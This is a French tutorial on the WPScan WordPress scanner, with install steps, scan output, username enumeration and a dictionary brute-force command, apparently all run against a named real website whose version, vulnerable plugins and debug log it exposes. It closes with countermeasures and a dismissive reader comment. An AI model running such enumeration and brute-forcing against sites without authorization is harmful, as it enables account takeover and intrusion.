WPScan est un scanner de sécurité qui va rechercher les failles des WordPress en utilisant des méthodes « de méchant ».
Les principales fonctionnalités sont :
- Énumération des utilisateurs,
- crackage des mots de passes par force brute multithreadé,
- détection de la version de WordPress,
- détection et énumération des plugins vulnérables.
<
Installation de WPscan
sudo apt-get install libcurl4-openssl-dev libxml2 libxml2-dev libxslt1-dev ruby-dev build-essential
git clone https://github.com/wpscanteam/wpscan.git
cd wpscan
sudo gem install bundler && bundle install --without test
Utilisation « gentille »
Cette utilisation permet d’obtenir des informations de base comme le nom du thème, et la version de WordPress, à partir des balises méta.
ruby wpscan.rb --url www.bernard-henri-levy.com
[+] URL: http://www.bernard-henri-levy.com/
[+] Started: Fri Feb 10 10:32:48 2017
[+] robots.txt available under: 'http://www.bernard-henri-levy.com/robots.txt'
[!] The WordPress 'http://www.bernard-henri-levy.com/readme.html' file exists exposing a version number
[!] Debug log file found: http://www.bernard-henri-levy.com/wp-content/debug.log
[+] Interesting header: SERVER: Apache/2.2.22 (Debian)
[+] XML-RPC Interface available under: http://www.bernard-henri-levy.com/xmlrpc.php
[+] WordPress version 4.2.2 (Released on 2015-05-07) identified from
advanced fingerprinting, rss generator, rdf generator, atom generator,
readme, links opml, stylesheets numbers
[!] 29 vulnerabilities identified from the version number
[!] Title: WordPress 3.5-4.7.1 - WP_Query SQL Injection
Reference: https://wpvulndb.com/vulnerabilities/8730
Reference: https://wordpress.org/news/2017/01/wordpress-4-7-2-security-release/
Reference: https://github.com/WordPress/WordPress/commit/85384297a60900004e27e417eac56d24267054cb
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5611
[i] Fixed in: 4.2.12
[+] Enumerating plugins from passive detection ...
| 2 plugins found:
[+] Name: contact-form-7 - v4.2.1
| Location: http://www.bernard-henri-levy.com/wp-content/plugins/contact-form-7/
| Readme: http://www.bernard-henri-levy.com/wp-content/plugins/contact-form-7/readme.txt
[!] The version is out of date, the latest version is 4.6.1
[+] Name: nextgen-gallery - v2.1.0
| Location: http://www.bernard-henri-levy.com/wp-content/plugins/nextgen-gallery/
| Readme: http://www.bernard-henri-levy.com/wp-content/plugins/nextgen-gallery/readme.txt
| Changelog: http://www.bernard-henri-levy.com/wp-content/plugins/nextgen-gallery/changelog.txt
[!] The version is out of date, the latest version is 2.1.77
[!] Title: NextGEN Gallery <= 2.1.7 - Authenticated Path Traversal
Reference: https://wpvulndb.com/vulnerabilities/8165
Reference: http://permalink.gmane.org/gmane.comp.security.oss.general/17650
Reference: https://github.com/espreto/wpsploit/blob/master/documentation/auxiliary/wp_nextgen_gallery_dir_read.md
Reference: https://www.rapid7.com/db/modules/auxiliary/scanner/http/wp_nextgen_galley_file_read
[i] Fixed in: 2.1.9
[!] Title: NextGEN Gallery <= 2.1.56 - Authenticated Local File Inclusion (LFI)
Reference: https://wpvulndb.com/vulnerabilities/8664
Reference: http://www.kb.cert.org/vuls/id/346175
Reference: https://plugins.trac.wordpress.org/changeset/1533907/nextgen-gallery
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6565
[i] Fixed in: 2.1.57
[+] Finished: Fri Feb 10 10:33:06 2017
[+] Requests Done: 60
[+] Memory used: 92.727 MB
[+] Elapsed time: 00:00:18
Lister les utilisateurs
Ceci va lister tous les utilisateurs qui ont accès au blog, en se basant sur l’auteur des articles.
ruby wpscan.rb --url www.bernard-henri-levy.com --enumerate u
| URL: http://www.bernard-henri-levy.com/
| Started on Fri Jul 22 12:32:43 2011
[+] Enumerating usernames...
Identified the following 4 user/s:
+----+---------------+------------------------+
| Id | Login | Name |
+----+---------------+------------------------+
| 1 | admin | admin |
| 2 | redacteur | redacteur |
| 4 | *********** | ************* |
| 5 | ***** | ******* |
+----+---------------+------------------------+
[!] Default first WordPress username 'admin' is still used
Crack du mot de passe de toto
Ceci va brute-forcer le mot de passe de toto en utilisant un dictionnaire. Vous pouvez en trouver ici et là.
ruby ./wpscan.rb --url www.bernard-henri-levy.com --wordlist mondico.lst
--username toto
[+] Starting the password brute forcer
Brute forcing toto with 500 passwods...
SUCCESS! Username:toto Password:toutou
[+] Finished at Wed Jul 20 21:27:19 2011
Énumérer les plugins installés
Il faut d’abord générer la liste des plugins les plus populaires :
ruby ./wpscan.rb --generate_plugin_list
Puis lancer la détection :
ruby ./wpscan.rb --url www.bernard-henri-levy.com --enumerate p
[+] Enumerating installed plugins...
Checking for 2139 plugins...
We found 1 plugins:
wp-syntax
[+] There were 1 vulnerabilities identified from the plugin names:
* Title: WordPress Plugin WP-Syntax
* Reference: http://www.exploit-db.com/exploits/9431/
Directory listing enabled:
http://mysite.org/blog/wp-content/plugins/wp-syntax/
[+] Finished at Wed Jul 20 22:08:11 2011
Contre-mesures
- Supprimer le readme.html à la racine de WordPress,
- supprimer les plugins inutilisés,
- maintenir WordPress et les plugins à jour,
- utiliser des mots de passe qui ne sont pas dans un dictionnaire.
Un titre pompeux pour un soft basique…
Il ne détecte pas les failles, il liste les utilisateurs et tente de lister les plugins…
Par contre il ne fait aucune correspondance entre les plugins/themes trouvés et une liste des failles connues…
bref: inutile.